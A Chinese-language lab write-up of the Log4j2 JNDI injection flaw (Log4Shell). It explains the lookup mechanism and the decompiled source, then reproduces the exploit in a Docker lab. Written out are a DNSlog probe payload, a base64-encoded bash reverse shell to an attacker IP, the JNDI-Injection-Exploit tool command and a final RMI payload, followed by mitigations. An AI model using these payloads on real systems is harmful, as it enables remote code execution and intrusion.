Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码
影响的Apache Log4j版本
Apache Log4j 2.x <= 2.15.0-rc1
漏洞原理
JNDI与LDAP
JNDI
JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。如同其它很多Java技术一样,JDNI是provider-based的技术,暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。JNDI目前所支持的技术包括LDAP、CORBA Common Object Service(COS)名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
JNDI中的一组绑定作为上下文来引用。每个上下文暴露的一组操作是一致的。例如,每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间,即使用分层上下文以及使用相同命名语法的子上下文。
可以简单的将LDAP理解为一个存储目录,里面有我们要的资源,而JNDI就是获取资源的一种途径或者说方式。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dnvn1LS3-1659011567342)(/upload/2022/07/%E6%97%A0%E6%A0%87%E9%A2%981.png)]
如上图所示在访问RMI时只传了一个键foor过去,返回一个对象;在访问LDAP这种目录服务时,传过去的比较复杂,包含多个键值对,这些键值对就是对象的属性,LDAP根据这些属性来判断返回哪个对象。
基本的操作:
发布服务:bind() 将名称绑定到对象中
用名字查找资源:lookup() 通过名字检索执行的对象
LDAP
目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
参考:
简单来说:LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。
概述
“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”
以上内容复制于log4j2的官方文档lookup - Office Site。其清晰地说明了lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。
原理
org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format()
方法(表达式内容替换):
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
this.textRenderer.render(workingBuilder, toAppendTo);
}
} else {
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage)msg).getFormattedMessage(this.formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(this.config != null && result.contains("${") ? this.config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
}
}
format()
方法会按字符检测每条日志,一旦发现某条日志中包含$ {
,则触发替换机制,也就是将表达式内的内容替换成真实的内容,其中config.getStrSubstitutor().replace(event, value)
执行下一步替换操作。
包含 的${ 中可以使用的关键词如下:
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
org.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
StrMatcher prefixMatcher = this.getVariablePrefixMatcher();
StrMatcher suffixMatcher = this.getVariableSuffixMatcher();
char escape = this.getEscapeChar();
StrMatcher valueDelimiterMatcher = this.getValueDelimiterMatcher();
boolean substitutionInVariablesEnabled = this.isEnableSubstitutionInVariables();
boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = this.getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while(true) {
label117:
while(pos < bufEnd) {
int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
++pos;
} else if (pos > offset && chars[pos - 1] == escape) {
buf.deleteCharAt(pos - 1);
chars = this.getChars(buf);
--lengthChange;
altered = true;
--bufEnd;
} else {
int startPos = pos;
pos += startMatchLen;
int endMatchLen = false;
int nestedVarCount = 0;
while(true) {
while(true) {
if (pos >= bufEnd) {
continue label117;
}
int endMatchLen;
if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
++nestedVarCount;
pos += endMatchLen;
} else {
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
++pos;
} else {
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
StringBuilder bufName = new StringBuilder(varNameExpr);
this.substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
String varName = varNameExpr;
String varDefaultValue = null;
int i;
int valueDelimiterMatchLen;
if (valueDelimiterMatcher != null) {
char[] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = false;
label100:
for(i = 0; i < varNameExprChars.length && (substitutionInVariablesEnabled || prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) == 0); ++i) {
if (this.valueEscapeDelimiterMatcher != null) {
int matchLen = this.valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
String varNamePrefix = varNameExpr.substring(0, i) + ':';
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
int j = i + matchLen;
while(true) {
if (j >= varNameExprChars.length) {
break label100;
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
break label100;
}
++j;
}
}
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
if (priorVariables == null) {
priorVariables = new ArrayList();
((List)priorVariables).add(new String(chars, offset, length + lengthChange));
}
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
valueDelimiterMatchLen = varValue.length();
buf.replace(startPos, pos, varValue);
altered = true;
i = this.substitute(event, buf, startPos, valueDelimiterMatchLen, (List)priorVariables);
i += valueDelimiterMatchLen - (pos - startPos);
pos += i;
bufEnd += i;
lengthChange += i;
chars = this.getChars(buf);
}
((List)priorVariables).remove(((List)priorVariables).size() - 1);
continue label117;
}
--nestedVarCount;
pos += endMatchLen;
}
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
}
总结:
日志在打印时当遇到 ${
后,Interpolator 类以 :
号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
JDNI注入
JNDI 注入,借助 LDAP服务来下载执行恶意 payload,从而执行命令
流程:
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 LDAP链接远程服务,当 LDAP 服务收到请求之后,将请求进行重定向到恶意 java class(JNDI服务器) 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
漏洞复现
在Docker中安装log4j2靶场
这里使用的是vulfocus中的库
sudo docker pull vulfocus/log4j2-rce-2021-12-09
pull完毕后
启动Docker靶场
sudo docker run -tid -p 9999:8080 vulfocus/log4j2-rce-2021-12-09
出现这个页面表示搭建完成
通过DNSLOG回显验证漏洞
为何通过DNS回显来做到验证漏洞
DNS域名查询的步骤:
所以由此可知,由于日志在打印时当遇到 ${
后都会执行后面的语句,而在域名查询的过程中,我们可以构造一个DNS服务器,服务器的一级二级域名甚至是三级可以固定,但是总有后几级的域名我们可以构造啊,所以在我们构造域名访问中可以构造这样的域名:${java.version}.ign0wp.dnslog.cn
,其中${java.version}
会被解析成java的版本,我们就可以在gn0wp.dnslog.cn服务器上看到回显的java版本信息。
构造POC的payload
点击???超链接,url中有一个payload参数, 使用GET方法通过DNSlog回显。
构造我们的payload参数:
${jndi:ldap://${java.version}.ign0wp.dnslog.cn}
查询DNSlog
点击放行后,我们将刚刚的GET数据包提交。
在DNSlog中可以查询到回显,说明存在漏洞
反弹Shell
IP地址:监听端口/被攻击端口 | OS | |
---|---|---|
靶机 | 192.168.73.88:9999 | CentOS |
攻击机 | 192.168.73.130:5432 | Kali |
下载EXP
EXP地址:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
Kaili使用nc工具监听反弹的shell
首先查看攻击机的ip地址
为了不冲突,先查看一下现在正在监听的端口
那现在我开始监听5432端口。
监听中。。。。。。
构造反弹shell的payload
bash -i >& /dev/tcp/192.168.73.130/5432 0>&1
将其使用base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=}|{base64,-d}|{bash,-i}
构建恶意LDAP服务
用JNDI注入利用工具构建ldap服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjczLjEzMC81NDMyIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.73.130"
生成了一串rmi
rmi://192.168.73.130:1099/hzhh0d
编写反弹shell的payload
payload=${jndi:rmi://192.168.73.130:1099/hzhh0d}
为其进行url编码
payload%3D%24%7Bjndi%3Armi%3A%2F%2F192.168.73.130%3A1099%2Fhzhh0d%7D
提交
反弹shell,可以执行我们的命令了!
漏洞修复:
漏洞出现之后,官方也一直在推出补丁,然而一直也存在补丁绕过的情况 ,打官方补丁当然是一个比较靠谱的方式,但是一开始并不能完美解决。
在进行漏洞利用时,针对高版本的 java jdk 是无法直接利用的,但是也不一定完全不可以,对于一些企业,定期更新 java 的可能影响比较小,所以 java 版本更新也是一种缓解的方式。
其他层面的修复:
1、采用 rasp 对lookup的调用进行阻断
2、限制不必要的业务访问外网
3、设置 JVM 启动参数 - Dlog4j2.formatMsgNoLookups=true
4、WAF 添加漏洞攻击代码临时拦截规则创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true”
学习参考文章:https://cloud.tencent.com/developer/article/1919456
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485584&idx=1&sn=2fad11942986807ea7545f7b8b5d6af8&scene=21#wechat_redirect
https://www.cnblogs.com/wilburxu/p/9174353.html